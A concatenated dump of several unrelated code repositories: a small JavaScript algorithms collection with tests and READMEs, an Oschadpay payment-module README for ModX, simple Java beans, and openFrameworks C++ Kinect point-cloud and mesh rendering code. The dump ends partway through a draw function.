- Follow the instructions in this guide to start working on the issue:
- **Working on your first Pull Request?** You can learn how from this _free_ series [How to Contribute to an Open Source Project on GitHub](https://egghead.io/series/how-to-contribute-to-an-open-source-project-on-github)
<file_sep>/test/algorithms/strings/CountLetters/javascript/countLetters_test.js
const { expect } = require("chai");
const countLetters = require("../../../../../algorithms/strings/countLetters/javascript/countLetters");
describe("countLetters", function() {
const testCases = [
"",
"ab",
"aac",
"aaaarray"
];
const expectedCases = [
{},
{ "a": 1, "b": 1 },
{ "a": 2, "c": 1},
{ "a": 5, "r": 2, y: 1}
];
for (let i = 0; i < testCases.length; i++) {
let description = "should return: " + JSON.stringify(expectedCases[i]);
it(description, function() {
expect(countLetters(testCases[i])).to.include(expectedCases[i]);
});
}
});
<file_sep>/algorithms/strings/CountLetters/javascript/countLetters.js
// 1. Detect the length of the string.
// 1.1. If the length is 0 - return {}.
// 1.2. If the length is bigger than 0 - return the needed result.
// 2. Split the string into the array of characters.
// 3. Iterate each value from the splitted string through the original string.
// 4. Put number of iterations to a separate variable to compose a result.
function countLetters(string) {
let result = {};
if (string.length === 0) {
return result;
} else {
const arrayOfChars = string.split('');
arrayOfChars.map(function (char) {
let numberOfOccurrence = 0;
for (let i = 0; i < string.length; i++) {
if (char === string.charAt(i)) {
numberOfOccurrence++;
}
}
result[char] = numberOfOccurrence;
numberOfOccurrence = 0;
})
return result;
}
}
module.exports = countLetters;<file_sep>/algorithms/arrays/DiagonalSum/README.md
# Diagonal Sum
### Info
Given a "square" array of subarrays, find the sum of values from the first value of the first array, the second value of the second array, the third value of the third array, and so on (Otherwords, sum of a diagonal of a square matrix)
## Examples
```
[
[1, 2, 3],
[4, 5, 6],
[7, 8, 9]
] -> 15
```
### See solutions:
- [JavaScript](javascript/diagonalSum.js)
<file_sep>/README.md
# Algorithms and Data Structures
[](LICENSE)
[](http://makeapullrequest.com)
> The aim of the project is to collect, provide information and solutions on algorithms and data structures. This collection is based on what I had during interviews, coding challenges and studies.
Each task contains inside a `README.md` file with the description and showcase.
## Algorithms
<!-- Arrays Dropdown -->
<details id="arrays" open>
<summary>
<strong>
<em>Arrays</em>
</strong>
</summary>
- [AddBorder](/algorithms/arrays/AddBorder/README.md)
[](/algorithms/arrays/AddBorder/javascript/addBorder.js)
- [DiagonalSum](/algorithms/arrays/DiagonalSum/README.md)
[](/algorithms/arrays/DiagonalSum/javascript/diagonalSum.js)
- [VectorMultiplication](/algorithms/arrays/VectorMultiplication/README.md)
[](/algorithms/arrays/VectorMultiplication/javascript/vectorMultiplication.js)
</details>
<!-- Fundamentals dropdown -->
<details id="fundamentals" open>
<summary>
<strong>
<em>Fundamentals</em>
</strong>
</summary>
- [FindIntegral](/algorithms/fundamentals/FindIntegral/README.md)
[](/algorithms/fundamentals/FindIntegral/javascript/findIntegral.js)
</details>
<!-- Strings Dropdown -->
<details id="strings" open>
<summary>
<strong>
<em>Strings</em>
</strong>
</summary>
- [CountLetters](/algorithms/strings/CountLetters/README.md)
[](/algorithms/strings/CountLetters/javascript/countLetters.js)
</details>
## Data Structures
#### Structure will follow somewhat this standard:
- Info, Descriptions, Showcase.
- Implementation in different languages.
- Labels and tags.
## Meta
<NAME> – [@JStr00per](https://twitter.com/JStr00per) – <EMAIL>
## Contributing
See [CONTRIBUTING](CONTRIBUTING.md) for more information.
## References
- [CodeSignal](https://codesignal.com/)
- [CodeWars](https://codewars.com/)
## Licensing
Distributed under the MIT license. See [LICENSE](LICENSE) for more information.
## Acknowledgments
- Hat tip to anyone whose code and ideas were used.
- Project started with <span>♥</span> in 🇪🇪.
- Contributed to the project from 🇺🇦.
|
2d3a9f65929f88fbf436eb322204afbdb6c9f112
|
[
"Markdown",
"JavaScript"
] | 11 |
Markdown
|
IvaTsu/algorithms-and-data-structures
|
93735fa7a7394c3cce3b2431d9c6fc9cf45b1af7
|
8fd98e40c73f566f2e82ca76348068d264a48769
|
refs/heads/master
|
<file_sep>Модуль Oschadpay для ModX revo minishop2.
=====
-----
##### Инструкция по установке модуля оплаты Oschadpay
1. Скопируйте каталог assets и core в корень системы modx.
2. В админ.панели Modx зайдите: Приложения -> Minishop2 -> Настройки -> Способы оплаты -> Создать
3. Заполните все поля, в поле Класс-обработчик указать oschadpay.
4. Открыть файл для редактирования core/components/minishop2/custom/payment/oschadpay.class.php
#### Заполнить поля:
```
MERCHANT_ID - можно узнать в личном кабинете Oschadpay
SECRET_KEY - можно узнать в личном кабинете Oschadpay
SUCCESS_URL - ссылка для перехода на страницу после успешного платежа
```
|
6ed3832ddfc603778630b325cac7f2a628bf728e
|
[
"Markdown"
] | 1 |
Markdown
|
CrazyBoy49z/modx-6
|
651b6659e56dc4d510836ac85a018b8c2c6e2b6d
|
737bda3f84dec9a48584237633f1e4a7dda5d251
|
refs/heads/master
|
<repo_name>kopapaha/project3_javabeans_EL<file_sep>/java/basket/compute/waterCompute.java
/*
* To change this template, choose Tools | Templates
* and open the template in the editor.
*/
package basket.compute;
/**
*
* @author kopapaha
*/
public class waterCompute {
private int waterQ;
/**
* @return the waterQ
*/
public int getWaterQ() {
return waterQ;
}
/**
* @param waterQ the waterQ to set
*/
public void setWaterQ(int waterQ) {
this.waterQ = waterQ;
}
}
<file_sep>/java/basket/compute/sugarCompute.java
/*
* To change this template, choose Tools | Templates
* and open the template in the editor.
*/
package basket.compute;
/**
*
* @author kopapaha
*/
public class sugarCompute {
private int sugarQ;
/**
* @return the sugarQ
*/
public int getSugarQ() {
return sugarQ;
}
/**
* @param sugarQ the sugarQ to set
*/
public void setSugarQ(int sugarQ) {
this.sugarQ = sugarQ;
}
}
<file_sep>/java/basket/compute/coffeeCompute.java
/*
* To change this template, choose Tools | Templates
* and open the template in the editor.
*/
package basket.compute;
/**
*
* @author kopapaha
*/
public class coffeeCompute {
private int coffeeQ;
/**
* @return the coffeeQ
*/
public int getCoffeeQ() {
return coffeeQ;
}
/**
* @param coffeeQ the coffeeQ to set
*/
public void setCoffeeQ(int coffeeQ) {
this.coffeeQ = coffeeQ;
}
}
|
0f98ab33c2ff89d5f09c269e442375a2d19e4d58
|
[
"Java"
] | 3 |
Java
|
kopapaha/project3_javabeans_EL
|
a08d1ad3169a622f19b1b3befef0ab7bf238f4e8
|
f1046f72708612c10107fabd600fff01eeed0b5c
|
refs/heads/master
|
<file_sep>/*
* MeshRenderer.cpp
*
* Created on: 27/12/2010
* Author: arturo
*/
#include "MeshRenderer.h"
MeshRenderer::MeshRenderer() {
objectDepthThreshold = 10;
}
MeshRenderer::~MeshRenderer() {
// TODO Auto-generated destructor stub
}
void MeshRenderer::setup(){
}
void MeshRenderer::update(float * vertexes, int w,int h){
va.clear();
float depth1,depth2,depth3,depth4;
ofPoint point,point2,point3,point4;
for(int y=0; y<h-1; y++){
for(int x=0;x<w-1;x++){
depth1 = *vertexes++;
depth2 = *vertexes;
depth3 = *(vertexes+(w-1));
if(depth2==0 || depth2>depthThreshold || depth3==0 || depth3>depthThreshold){
continue;
}
depth4 = *(vertexes+(w));
if(useDepthFactor){
point = calibration.getWorldCoordinateFor(x,y,depth1);
point2 = calibration.getWorldCoordinateFor(x+1,y,depth2);
point3 = calibration.getWorldCoordinateFor(x,y+1,depth3);
point4 = calibration.getWorldCoordinateFor(x+1,y+1,depth4);
point.z = -point.z;
point2.z = -point2.z;
point3.z = -point3.z;
point4.z = -point4.z;
}else{
point.set(x,y,-depth1);
point2.set((x+1),(y),-depth2);
point3.set((x),(y+1),-depth3);
point4.set((x+1),(y+1),-depth4);
}
if(depth1>0 && depth1<depthThreshold &&
fabs(depth1-depth2)<objectDepthThreshold && fabs(depth2-depth3)<objectDepthThreshold){
va.addVertex(point);
va.addVertex(point2);
va.addVertex(point3);
}
if(depth4>0 && depth4<depthThreshold &&
fabs(depth2-depth4)<objectDepthThreshold && fabs(depth3-depth4)<objectDepthThreshold){
va.addVertex(point2);
va.addVertex(point4);
va.addVertex(point3);
}
}
vertexes++;
}
}
void MeshRenderer::update(float * vertexes, ofPoint * texcoords, int w,int h){
va.clear();
float depth1,depth2,depth3,depth4;
ofPoint point,point2,point3,point4;
ofPoint tex1,tex2,tex3,tex4;
for(int y=0; y<h-1; y++){
for(int x=0;x<w-1;x++){
depth1 = *vertexes++;
depth2 = *vertexes;
depth3 = *(vertexes+(w-1));
tex1 = *texcoords++;
if(depth2==0 || depth2>depthThreshold || depth3==0 || depth3>depthThreshold){
continue;
}
depth4 = *(vertexes+(w));
tex2 = *texcoords;
tex3 = *(texcoords+(w-1));
tex4 = *(texcoords+w);
if(useDepthFactor){
point = calibration.getWorldCoordinateFor(x,y,depth1);
point2 = calibration.getWorldCoordinateFor(x+1,y,depth2);
point3 = calibration.getWorldCoordinateFor(x,y+1,depth3);
point4 = calibration.getWorldCoordinateFor(x+1,y+1,depth4);
point.z = -point.z;
point2.z = -point2.z;
point3.z = -point3.z;
point4.z = -point4.z;
}else{
point.set(x,y,-depth1);
point2.set((x+1),(y),-depth2);
point3.set((x),(y+1),-depth3);
point4.set((x+1),(y+1),-depth4);
}
if(depth1>0 && depth1<depthThreshold &&
fabs(depth1-depth2)<objectDepthThreshold && fabs(depth2-depth3)<objectDepthThreshold){
va.addVertex(point,tex1);
va.addVertex(point2,tex2);
va.addVertex(point3,tex3);
}
if(depth4>0 && depth4<depthThreshold &&
fabs(depth2-depth4)<objectDepthThreshold && fabs(depth3-depth4)<objectDepthThreshold){
va.addVertex(point2,tex2);
va.addVertex(point4,tex4);
va.addVertex(point3,tex3);
}
}
vertexes++;
texcoords++;
}
}
void MeshRenderer::update(float * vertexes, unsigned char* rgb, int w,int h){
va.clear();
float depth1,depth2,depth3,depth4;
ofPoint point,point2,point3,point4;
ofColor color,color2,color3,color4;
int w3 = w*3;
unsigned char r,g,b;
for(int y=0; y<h-1; y++){
for(int x=0;x<w-1;x++){
depth1 = *vertexes++;
depth2 = *(vertexes+1);
depth3 = *(vertexes+(w-2));
r= *rgb++;
g= *rgb++;
b= *rgb++;
if(depth2==0 || depth2>depthThreshold || depth3==0 || depth3>depthThreshold){
continue;
}
depth4 = *(vertexes+(w));
color.set(r,g,b);
r= *(rgb);
g= *(rgb+1);
b= *(rgb+2);
color2.set(r,g,b);
color3.set(*(rgb+((w3-3))),*(rgb+((w3-3)+1)),*(rgb+((w3-3)+2)));
color4.set(*(rgb+((w3))),*(rgb+((w3)+1)),*(rgb+((w3)+2)));
if(useDepthFactor){
point = calibration.getWorldCoordinateFor(x,y,depth1);
point2 = calibration.getWorldCoordinateFor(x+1,y,depth2);
point3 = calibration.getWorldCoordinateFor(x,y+1,depth3);
point4 = calibration.getWorldCoordinateFor(x+1,y+1,depth4);
point.z = -point.z;
point2.z = -point2.z;
point3.z = -point3.z;
point4.z = -point4.z;
}else{
point.set(x,y,-depth1);
point2.set((x+1),(y),-depth2);
point3.set((x),(y+1),-depth3);
point4.set((x+1),(y+1),-depth4);
}
if(depth1>0 && depth1<depthThreshold &&
fabs(depth1-depth2)<objectDepthThreshold && fabs(depth2-depth3)<objectDepthThreshold){
va.addVertex(point,color);
va.addVertex(point2,color2);
va.addVertex(point3,color3);
}
if(depth4>0 && depth4<depthThreshold &&
fabs(depth2-depth4)<objectDepthThreshold && fabs(depth3-depth4)<objectDepthThreshold){
va.addVertex(point2,color2);
va.addVertex(point4,color4);
va.addVertex(point3,color3);
}
}
vertexes++;
rgb+=3;
}
}
void MeshRenderer::draw(ofTexture * tex){
glEnable(GL_DEPTH_TEST);
va.draw(GL_TRIANGLES,tex);
glDisable(GL_DEPTH_TEST);
}
<file_sep>/*
* PCRenderer.cpp
*
* Created on: 14/12/2010
* Author: arturo
*/
#include "PCRenderer.h"
#include "ofMain.h"
#include "VertexArray.h"
PCRenderer::PCRenderer() {
oneInX=1;
oneInY=1;
shader.setup("variablePointSize.vert","variablePointSize.frag");
dof=false;
focusDistance = 800;
aperture = 0;
pointBrightness = 1;
rgbBrightness = 1;
maxPointSize = 30;
pointSizeFactor = 1;
}
PCRenderer::~PCRenderer() {
// TODO Auto-generated destructor stub
}
void PCRenderer::setup(){
}
void PCRenderer::update(float * vertexes, int w,int h){
va.clear();
pointSizes.clear();
/// 125
/// 346
float depth;
ofPoint point;
for(int y=0; y<h; y+=oneInY){
for(int x=0;x<w;x+=oneInX){
depth = *vertexes++;
if(x+oneInX<w)
vertexes+=oneInX-1;
else
vertexes+=w-x-1;
if(depth==0 || depth>depthThreshold) continue;
if(useDepthFactor && !dof){ // the dof shader automatically does the depthFactor conversion
point = calibration.getWorldCoordinateFor(x,y,depth);
point.z = -point.z;
}else{
point.set(x,y,-depth);
}
if(depthToGray && !dof){
unsigned char gray = ofMap(depth,0,depthThreshold,255,minimumGray);
va.addVertex(point,ofColor(gray,gray,gray));
}else{
va.addVertex(point);
}
}
vertexes += (oneInY-1)*w;
}
}
void PCRenderer::update(float * vertexes, unsigned char* rgb, int w,int h){
va.clear();
pointSizes.clear();
/// 125
/// 346
float depth;
unsigned char r,g,b;
ofPoint point;
for(int y=0; y<h; y+=oneInY){
for(int x=0;x<w;x+=oneInX){
depth = *vertexes++;
r = *rgb++;
g = *rgb++;
b = *rgb++;
if(x+oneInX<w){
vertexes+=oneInX-1;
rgb+=(oneInX-1)*3;
}else{
vertexes+=w-x-1;
rgb+=(w-x-1)*3;
}
if(depth==0 || depth>depthThreshold) continue;
if(useDepthFactor && !dof){ // the dof shader automatically does the depthFactor conversion
point = calibration.getWorldCoordinateFor(x,y,depth);
point.z = -point.z;
}else{
point.set(x,y,-depth);
}
va.addVertex(point,r,g,b);
}
vertexes += (oneInY-1)*w;
rgb += (oneInY-1)*w*3;
}
}
void PCRenderer::update(float * vertexes, ofPoint* texcoords, int w,int h){
va.clear();
pointSizes.clear();
/// 125
/// 346
float depth;
unsigned char r,g,b;
ofPoint point;
ofPoint uv;
for(int y=0; y<h; y+=oneInY){
for(int x=0;x<w;x+=oneInX){
depth = *vertexes++;
uv = *texcoords++;
if(x+oneInX<w){
vertexes+=oneInX-1;
texcoords+=(oneInX-1);
}else{
vertexes+=w-x-1;
texcoords+=(w-x-1);
}
if(depth==0 || depth>depthThreshold) continue;
if(useDepthFactor && !dof){ // the dof shader automatically does the depthFactor conversion
point = calibration.getWorldCoordinateFor(x,y,depth);
point.z = -point.z;
}else{
point.set(x,y,-depth);
}
va.addVertex(point,uv);
}
vertexes += (oneInY-1)*w;
texcoords += (oneInY-1)*w;
}
}
void PCRenderer::draw(ofTexture * tex){
if(dof){
//if(tex) tex->bind();
shader.begin(); // Turn on the Shader
// Get the attribute and bind it
shader.setUniform1i("tex", 0);
shader.setUniform1f("focusDistance", focusDistance);
shader.setUniform1f("aperture", aperture);
shader.setUniform1f("pointBrightness", pointBrightness);
shader.setUniform1f("rgbBrightness", rgbBrightness);
shader.setUniform1f("maxPointSize", maxPointSize);
shader.setUniform1i("depthToGray", depthToGray);
shader.setUniform1f("invDepthThres", 1./depthThreshold);
shader.setUniform1f("minimumGray",float(minimumGray)/255.f);
shader.setUniform1f("pointSizeFactor",pointSizeFactor);
//sizeLoc = shader.getAttributeLocation("particleSize");
//glEnableVertexAttribArrayARB(sizeLoc);
//glBindAttribLocationARB(shader.getProgram(), sizeLoc, "particleSize");
//cout << sizeLoc << "," << shader.getProgram()<<","<<pointSizes.size() << endl;
//alphaLoc = glGetAttribLocationARB (shader.getShader(GL_VERTEX_SHADER),"alpha");
//glDisable(GL_DEPTH_TEST);
glDisable(GL_DEPTH_TEST);
glEnable(GL_BLEND);
glBlendFunc(GL_SRC_ALPHA, GL_ONE);
glEnable(GL_ALPHA_TEST);
glAlphaFunc(GL_GREATER, 0);
// super helpful: http://pmviewer.sourceforge.net/method.php
glEnable(GL_POINT_SMOOTH);
glHint(GL_POINT_SMOOTH_HINT,GL_NICEST);
glEnable(GL_VERTEX_PROGRAM_POINT_SIZE);
//glVertexAttribPointerARB(sizeLoc, 1, GL_FLOAT, 0, 0, &pointSizes[0]);
va.draw(GL_POINTS,tex);
glDisable(GL_VERTEX_PROGRAM_POINT_SIZE);
//glDisableVertexAttribArrayARB(sizeLoc);
//glDisableVertexAttribArrayARB(alphaLoc);
shader.end();
//if(tex) tex->unbind();
}else{
//glEnable(GL_DEPTH_TEST);
glEnable(GL_BLEND);
glBlendFunc(GL_SRC_ALPHA, GL_ONE);
glEnable(GL_ALPHA_TEST);
glAlphaFunc(GL_GREATER, 0);
glEnable(GL_POINT_SMOOTH);
glHint(GL_POINT_SMOOTH_HINT,GL_NICEST);
va.draw(GL_POINTS,tex);
}
}
<file_sep>#ifndef _TEST_APP
#define _TEST_APP
#include "ofMain.h"
#include "ofxVectorMath.h"
#include "ofxKinect.h"
#include "ofxWidgets.h"
#include "ofxKinectPlayer.h"
#include "PCRenderer.h"
#include "MeshRenderer.h"
#include "ofx3DUtils.h"
#include "ofxOpenCv.h"
#include "ofxFbo.h"
#include "ofxBase3DVideo.h"
#include "ofxKinectRecorder.h"
#include "SCRenderer.h"
#include "CameraEasing.h"
class ControlsWindow;
class testApp : public ofBaseApp{
public:
testApp();
void setup();
void update();
void draw();
void keyPressed (int key);
void keyReleased(int key);
void mouseMoved(int x, int y );
void mouseDragged(int x, int y, int button);
void mousePressed(int x, int y, int button);
void mouseReleased(int x, int y, int button);
void windowResized(int w, int h);
void audioReceived( float * input, int bufferSize, int nChannels );
void drawScene();
void cameraPosChanged(ofPoint & pos);
void cameraLookAtChanged(ofPoint & pos);
void cameraYChanged(float & pos);
void cameraLookAtYChanged(float & pos);
void fakeDOFChanged(float & fakeDOF);
void dramaticZoomChanged(float & zoom);
void liveVideoChanged(bool & pressed);
void tiltChanged(float & tilt);
void recordChanged(bool & pressed);
void toggleTwoScreens(bool & pressed);
void showWarpChanged(bool & pressed);
void activateCameraEasing(bool & pressed);
void activateCameraEasing2(bool & pressed);
ofxKinectPlayer kPlayer[10];
ofxKinect kinect;
ofxBase3DVideo * source;
PCRenderer pc_renderer[10];
MeshRenderer mesh_renderer[10];
SCRenderer sc_renderer;
ofxCamera camera;
ofxCvGrayscaleImage cvdepth;
ofxCvGrayscaleImage grayThresh;
ofxCvGrayscaleImage grayThreshFar;
ofxCvContourFinder contourFinder;
ofxFbo fbo,fbo2;
ofImage pointTex,bokehTex,gaussTex;
ofTexture texRGBCalibrated;
ofxKinectRecorder recorder;
ofxWQuadWarp warp, warp2;
ofxMatrix4x4 homography,homography2;
ofPoint src[4],dst[4];
ControlsWindow * controlsWindow;
CameraEasing cameraEasing;
};
#endif
<file_sep>#include "testApp.h"
#include "homography.h"
#include "ControlsWindow.h"
testApp::testApp(){
source = &kPlayer[0];
kPlayer[0].setup("depth.bin",true);
}
//--------------------------------------------------------------
void testApp::setup(){
//ofSetFrameRate(30);
ofSetVerticalSync(true);
ofBackground(0,0,0);
ofSetColor(255,255,255);
ofEnableAlphaBlending();
sc_renderer.setup();
cvdepth.allocate(640,480);
grayThresh.allocate(640,480);
grayThreshFar.allocate(640,480);
fbo.setup(1024,768,GL_RGBA);
fbo2.setup(1024,768,GL_RGBA);
//camera.disableMouseEvents();
camera.position(0,0,0);
//cameraPosSlider.init("camera xz: ",0.f,0.f,-1000.f,1000.f,-1000.f,1000.f,"default");
//cameraLookAtSlider.init("lookat xz: ",0.f,0.f,-1000.f,1000.f,-1000.f,1000.f,"default");
//cameraLookAtSlider.setPosition(ofPoint(0,190));
ofDisableArbTex();
pointTex.loadImage("point_solid.png");
bokehTex.loadImage("point_bokeh.png");
gaussTex.loadImage("point.png");
ofEnableArbTex();
texRGBCalibrated.allocate(640,480,GL_RGB);
warp.setLocalEventsObject(&ofEvents);
warp2.setLocalEventsObject(&ofEvents);
warp.init(ofRectangle(ofGetWidth()-640,0,640,480));
warp2.init(ofRectangle(ofGetWidth()-640*2-10,0,640,480));
//gui.addSpinSlider("camera z",);
//ofAddListener(gui.add2DSlider("camera xz: ",0.f,0.f,-1000.f,1000.f,-1000.f,1000.f).floatEvent,this,&testApp::cameraPosChanged);
//ofAddListener(gui.add2DSlider("lookat xz: ",0.f,0.f,-1000.f,1000.f,-1000.f,1000.f).floatEvent,this,&testApp::cameraLookAtChanged);
//ofAddListener(cameraPosSlider.floatEvent,this,&testApp::cameraPosChanged);
//ofAddListener(cameraLookAtSlider.floatEvent,this,&testApp::cameraLookAtChanged);
glDisable(GL_LIGHTING);
ofSoundStreamSetup(0,2,this,44100,1024,1);
}
//--------------------------------------------------------------
void testApp::update(){
source->update();
if(!controlsWindow->noRender){
if(controlsWindow->showLive){
//cout << "updating live " << endl;
if(controlsWindow->soundCloud){
sc_renderer.oneInX = controlsWindow->oneInX;
sc_renderer.oneInY = controlsWindow->oneInY;
sc_renderer.useDepthFactor = controlsWindow->useDepthFactor;
sc_renderer.dof=controlsWindow->dof;
sc_renderer.depthToGray=controlsWindow->depthToGray;
sc_renderer.minimumGray=controlsWindow->minimumGray;
sc_renderer.focusDistance=controlsWindow->focusDistance;
sc_renderer.aperture=controlsWindow->aperture;
sc_renderer.pointBrightness=controlsWindow->pointBrightness;
sc_renderer.rgbBrightness=controlsWindow->rgbBrightness;
sc_renderer.maxPointSize=controlsWindow->maxPointSize;
sc_renderer.pointSizeFactor=controlsWindow->pointSizeFactor;
sc_renderer.useDepthFactor = controlsWindow->useDepthFactor;
sc_renderer.objectDepthThreshold = controlsWindow->objectDepthThreshold;
sc_renderer.mesh = controlsWindow->mesh;
sc_renderer.update(source->getDepthPixels(), 640,480);
if(controlsWindow->mesh){
sc_renderer.update(source->getDistancePixels(),source->getCalibratedTexCoords(),640,480);
}else if(controlsWindow->color){
sc_renderer.update(source->getDistancePixels(),source->getCalibratedRGBPixels(),640,480);
}else{
sc_renderer.update(source->getDistancePixels(),640,480);
}
}else if(controlsWindow->mesh){
mesh_renderer[0].objectDepthThreshold=controlsWindow->objectDepthThreshold;
mesh_renderer[0].depthThreshold = controlsWindow->depthThreshold;
mesh_renderer[0].useDepthFactor = controlsWindow->useDepthFactor;
//mesh_renderer.update(source->getDistancePixels(),source->getCalibratedRGBPixels(),640,480);
mesh_renderer[0].update(source->getDistancePixels(),source->getCalibratedTexCoords(), 640,480);
}else{
pc_renderer[0].oneInX=controlsWindow->oneInX;
pc_renderer[0].oneInY=controlsWindow->oneInY;
pc_renderer[0].dof=controlsWindow->dof;
pc_renderer[0].depthToGray=controlsWindow->depthToGray;
pc_renderer[0].minimumGray=controlsWindow->minimumGray;
pc_renderer[0].focusDistance=controlsWindow->focusDistance;
pc_renderer[0].aperture=controlsWindow->aperture;
pc_renderer[0].pointBrightness=controlsWindow->pointBrightness;
pc_renderer[0].rgbBrightness=controlsWindow->rgbBrightness;
pc_renderer[0].maxPointSize=controlsWindow->maxPointSize;
pc_renderer[0].pointSizeFactor=controlsWindow->pointSizeFactor;
pc_renderer[0].depthThreshold = controlsWindow->depthThreshold;
pc_renderer[0].useDepthFactor = controlsWindow->useDepthFactor;
if(controlsWindow->color){
pc_renderer[0].update(source->getDistancePixels(),source->getCalibratedRGBPixels(),640,480);
}else{
pc_renderer[0].update(source->getDistancePixels(),640,480);
}
}
}
if(!controlsWindow->onlyLive){
for(int i=1;i<controlsWindow->numPlayers+1;i++){
kPlayer[i-1].update();
kPlayer[i-1].fps=controlsWindow->fps;
if(!(controlsWindow->showPlayer[i-1])) continue;
//cout << "updating player " << i-1 << endl;
if(controlsWindow->mesh){
mesh_renderer[i].objectDepthThreshold=controlsWindow->objectDepthThreshold;
mesh_renderer[i].depthThreshold = controlsWindow->depthThreshold;
mesh_renderer[i].useDepthFactor = controlsWindow->useDepthFactor;
//mesh_renderer.update(kPlayer[i-1].getDistancePixels(),kPlayer[i-1].getCalibratedRGBPixels(),640,480);
mesh_renderer[i].update(kPlayer[i-1].getDistancePixels(),kPlayer[i-1].getCalibratedTexCoords(), 640,480);
}else{
pc_renderer[i].oneInX=controlsWindow->oneInX;
pc_renderer[i].oneInY=controlsWindow->oneInY;
pc_renderer[i].dof=controlsWindow->dof;
pc_renderer[i].depthToGray=controlsWindow->depthToGray;
pc_renderer[i].minimumGray=controlsWindow->minimumGray;
pc_renderer[i].focusDistance=controlsWindow->focusDistance,
pc_renderer[i].aperture=controlsWindow->aperture,
pc_renderer[i].pointBrightness=controlsWindow->pointBrightness,
pc_renderer[i].rgbBrightness=controlsWindow->rgbBrightness,
pc_renderer[i].maxPointSize=controlsWindow->maxPointSize,
pc_renderer[i].pointSizeFactor=controlsWindow->pointSizeFactor;
pc_renderer[i].depthThreshold = controlsWindow->depthThreshold;
pc_renderer[i].useDepthFactor = controlsWindow->useDepthFactor;
if(controlsWindow->color)
pc_renderer[i].update(kPlayer[i-1].getDistancePixels(),kPlayer[i-1].getCalibratedRGBPixels(),640,480);
else
pc_renderer[i].update(kPlayer[i-1].getDistancePixels(),640,480);
}
}
}
if(controlsWindow->showContour){
cvdepth.setFromPixels(source->getDepthPixels(),640,480);
grayThreshFar = cvdepth;
grayThresh = cvdepth;
grayThreshFar.threshold(controlsWindow->farClip, true);
grayThresh.threshold(controlsWindow->nearClip);
cvAnd(grayThresh.getCvImage(), grayThreshFar.getCvImage(), cvdepth.getCvImage(), NULL);
contourFinder.findContours(cvdepth,controlsWindow->min_blob,controlsWindow->max_blob,10,false,true);
}
for(int i=0;i<4;i++){
src[i]=warp.src[i]-ofPoint(warp.origin.x,warp.origin.y);
dst[i]=warp.dst[i]-ofPoint(warp.origin.x,warp.origin.y);
}
findOpenCvHomography(src,dst,homography.getPtr());
for(int i=0;i<4;i++){
src[i]=warp2.src[i]-ofPoint(warp2.origin.x,warp2.origin.y);
dst[i]=warp2.dst[i]-ofPoint(warp2.origin.x,warp2.origin.y);
}
findOpenCvHomography(src,dst,homography2.getPtr());
}
if(recorder.isOpened() && source==(ofxBase3DVideo*)&kinect){
recorder.newFrame(kinect.getPixels(),kinect.getRawDepthPixels());
}
if(controlsWindow->doCameraEasing){
cameraEasing.update();
}
}
void testApp::drawScene(){
//ofBackground(0,0,0);
if(controlsWindow->whiteScreen){
ofClear(255,255,255,255);
}else{
ofClear(0,0,0,255);
ofPushMatrix();
glPointSize(controlsWindow->psize);
if(controlsWindow->fov>0)
ofSetupScreenPerspective(640,480,false,controlsWindow->fov);
else
ofSetupScreenOrtho(640,480,false);
ofNoFill();
ofSetColor(255,255,255,255);
if(controlsWindow->showWarp)
ofRect(1,1,639,479);
//ofViewport(0,0,640,480);
//ofBackground(0, 0, 0);
ofTranslate(0,0,controlsWindow->postTranslateZ);
ofTranslate(controlsWindow->rot_axis);
ofRotate(controlsWindow->rot,0,1,0);
if(controlsWindow->doCameraEasing){
cameraEasing.rotate();
}
if(controlsWindow->showClipPlanes){
ofSetColor(255,0,0);
ofLine(0,0,0,ofGetHeight());
}
ofTranslate(-controlsWindow->rot_axis);
ofTranslate(0,0,controlsWindow->translateZ);
if(controlsWindow->doCameraEasing){
cameraEasing.translate();
}
if(controlsWindow->useDepthFactor || controlsWindow->dof){
ofScale(2,2,2);
}
if(controlsWindow->showClipPlanes){
ofPushMatrix();
ofSetColor(255,0,0);
ofTranslate(0,0,-controlsWindow->nearClip);
ofRect(0,0,640,480);
ofTranslate(0,0,controlsWindow->nearClip-controlsWindow->depthThreshold);
ofRect(0,0,640,480);
ofPopMatrix();
}
if(controlsWindow->useDepthFactor || controlsWindow->dof){
ofTranslate(controlsWindow->translateX,controlsWindow->translateY);
}
ofSetColor(controlsWindow->gray,controlsWindow->gray,controlsWindow->gray,controlsWindow->alpha);
if(controlsWindow->soundCloud){
if((controlsWindow->texPoints || controlsWindow->dof) && !controlsWindow->mesh){
if(controlsWindow->gui.getValueB("DOF_TEX_CIRCLE")){
sc_renderer.draw(&pointTex.getTextureReference());
}else if(controlsWindow->gui.getValueB("DOF_TEX_BOKEH")){
sc_renderer.draw(&bokehTex.getTextureReference());
}else if(controlsWindow->gui.getValueB("DOF_TEX_GAUSS")){
sc_renderer.draw(&gaussTex.getTextureReference());
}
}else if(controlsWindow->mesh){
sc_renderer.draw(&source->getTextureReference());
}else{
sc_renderer.draw();
}
}else{
for(int i=0;i<controlsWindow->numPlayers+1;i++){
if(i==0 && !controlsWindow->showLive) continue;
if(i>0 && !(controlsWindow->showPlayer[i-1])) continue;
//cout << "drawing player" << i-1 << endl;
if((controlsWindow->texPoints || controlsWindow->dof) && !controlsWindow->mesh){
if(controlsWindow->gui.getValueB("DOF_TEX_CIRCLE")){
pc_renderer[i].draw(&pointTex.getTextureReference());
}else if(controlsWindow->gui.getValueB("DOF_TEX_BOKEH")){
pc_renderer[i].draw(&bokehTex.getTextureReference());
}else if(controlsWindow->gui.getValueB("DOF_TEX_GAUSS")){
pc_renderer[i].draw(&gaussTex.getTextureReference());
}
}else if(!controlsWindow->mesh){// && !color){
pc_renderer[i].draw();
/*else if(!mesh)
pc_renderer.draw(&source->getTextureReference());*/
}else if(controlsWindow->color){
if(i==0)
mesh_renderer[i].draw(&source->getTextureReference());
else
mesh_renderer[i].draw(&kPlayer[i-1].getTextureReference());
}else if(controlsWindow->depthToGray){
if(i==0)
mesh_renderer[i].draw(&source->getDepthTextureReference());
else
mesh_renderer[i].draw(&kPlayer[i-1].getDepthTextureReference());
}else{
mesh_renderer[i].draw();
}
if(controlsWindow->onlyLive) break;
}
}
ofPopMatrix();
}
}
//--------------------------------------------------------------
void testApp::draw(){
if(!controlsWindow->noRender){
ofNoFill();
fbo.begin();
drawScene();
fbo.end();
fbo2.begin();
drawScene();
fbo2.end();
ofSetColor(255,255,255);
ofSetupScreen();
//ofViewport(0,0,ofGetWidth(),ofGetHeight());
glPushMatrix();
//ofSetupScreenOrtho(ofGetWidth(),ofGetHeight(),true);
ofTranslate(warp.origin.x,warp.origin.y);
glMultMatrixf(homography.getPtr());
